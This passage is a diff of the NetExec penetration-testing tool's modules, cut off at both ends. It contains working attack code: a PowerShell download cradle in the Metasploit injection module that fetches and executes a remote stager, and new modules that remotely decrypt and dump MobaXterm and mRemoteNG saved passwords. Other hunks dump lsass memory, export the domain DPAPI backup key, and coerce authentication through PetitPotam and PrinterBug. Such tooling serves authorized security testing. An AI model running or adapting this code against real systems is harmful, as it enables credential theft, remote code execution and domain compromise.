context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -146,7 +142,7 @@ class NXCModule:
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
@@ -202,7 +198,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
return
def execute_appcmd(self, context, connection):
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
@@ -23,6 +23,7 @@ class NXCModule:
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
+46 -21
View File
@@ -39,10 +39,15 @@ class NXCModule:
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
_, err = await ldapsClientConn.bind()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
@@ -87,11 +92,12 @@ class NXCModule:
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
@@ -114,19 +120,30 @@ class NXCModule:
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e") in str(err):
context.log.fail("Not connected... exiting")
sys.exit()
elif err is None:
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
else:
context.log.fail(str(err))
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
@@ -139,7 +156,16 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@@ -148,9 +174,8 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
@@ -160,9 +185,9 @@ class NXCModule:
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
@@ -64,7 +64,7 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(file).parse()
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
@@ -14,7 +14,7 @@ class NXCModule:
def options(self, context, module_options):
pass
name = "MAQ"
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
+22 -22
View File
@@ -27,6 +27,8 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
"""
self.met_ssl = "https"
@@ -53,24 +58,19 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
+128
View File
@@ -0,0 +1,128 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+212
View File
@@ -0,0 +1,212 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+1 -1
View File
@@ -248,7 +248,7 @@ class NXCModule:
]
# Create the IPC string
ipc = f"\\\\{ip}\IPC$\x00"
ipc = f"\\\\{ip}\\IPC$\x00"
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
# Initialize the tree connect andx request
+3 -3
View File
@@ -3,7 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
import sys
from nxc.paths import TMP_PATH
from nxc.helpers.powershell import get_ps_script
@@ -49,14 +49,14 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
file_to_upload = f"{TMP_PATH}/msol.ps1"
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
exit(1)
else:
if path.isfile(self.MSOL_PS1):
+6 -8
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -441,13 +441,11 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
self.admin_privs = True
return True
else:
return False
except Exception:
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
return False
def revert_context(self, exec_as):
+5 -6
View File
@@ -39,7 +39,6 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -98,7 +97,7 @@ class NXCModule:
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -118,13 +117,13 @@ class NXCModule:
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail("Failed to execute command to get LSASS PID")
return
if len(p) == 1:
p = p[0]
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -174,7 +173,7 @@ class NXCModule:
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
+8 -4
View File
@@ -7,10 +7,11 @@ class NXCModule:
"""
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
Module by @Tw1sm
Modified by Deft (08/02/2024)
"""
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -32,19 +33,22 @@ class NXCModule:
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
)
key_handle = ans["phkResult"]
rtype = None
data = None
rtype = data = None
try:
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError:
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]:
# Changed by Defte
# Unless this keys is set to 3 or higher, NTLMv1 can be used
if data in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
finally:
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from nxc.paths import NXC_PATH
import socket
class NXCModule:
"""
Extract obsolete operating systems from LDAP
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
if ldap_time == "0": # Account for never-set passwords
return "Never"
try:
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
return epoch.strftime("%Y-%m-%d %H:%M:%S")
except Exception:
return "Conversion Error"
def options(self, context, module_options):
"""No module-specific options required."""
def on_login(self, context, connection):
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if "attributes" not in item:
continue
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
for attribute in item["attributes"]:
attr_type = str(attribute["type"])
if attr_type == "operatingSystem":
os = str(attribute["vals"][0])
elif attr_type == "dNSHostName":
dns_hostname = str(attribute["vals"][0])
elif attr_type == "pwdLastSet":
pwd_last_set = str(attribute["vals"][0])
if dns_hostname and os:
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
try:
ip_address = socket.gethostbyname(dns_hostname)
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
except socket.gaierror:
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
context.log.highlight(log_message)
f.write(log_message + "\n")
else:
context.log.display("No Obsolete Hosts Identified")
return True
+7 -9
View File
@@ -44,11 +44,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
kdcHost,
remoteHost,
context=None,
):
binding_params = {
@@ -221,6 +221,7 @@ def coerce(
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@@ -231,15 +232,12 @@ def coerce(
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
rpc_transport.set_kerberos(do_kerberos, kdcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
+5 -5
View File
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os import path
from os.path import abspath, join, isfile
from nxc.paths import DATA_PATH
from nxc.paths import DATA_PATH, TMP_PATH
class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/pi.exe"
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if path.isfile(self.imp_exe):
if isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
+117
View File
@@ -0,0 +1,117 @@
from impacket.dcerpc.v5 import transport, rprn
class NXCModule:
name = "printerbug"
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.listener = None
def options(self, context, module_options):
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth(context)
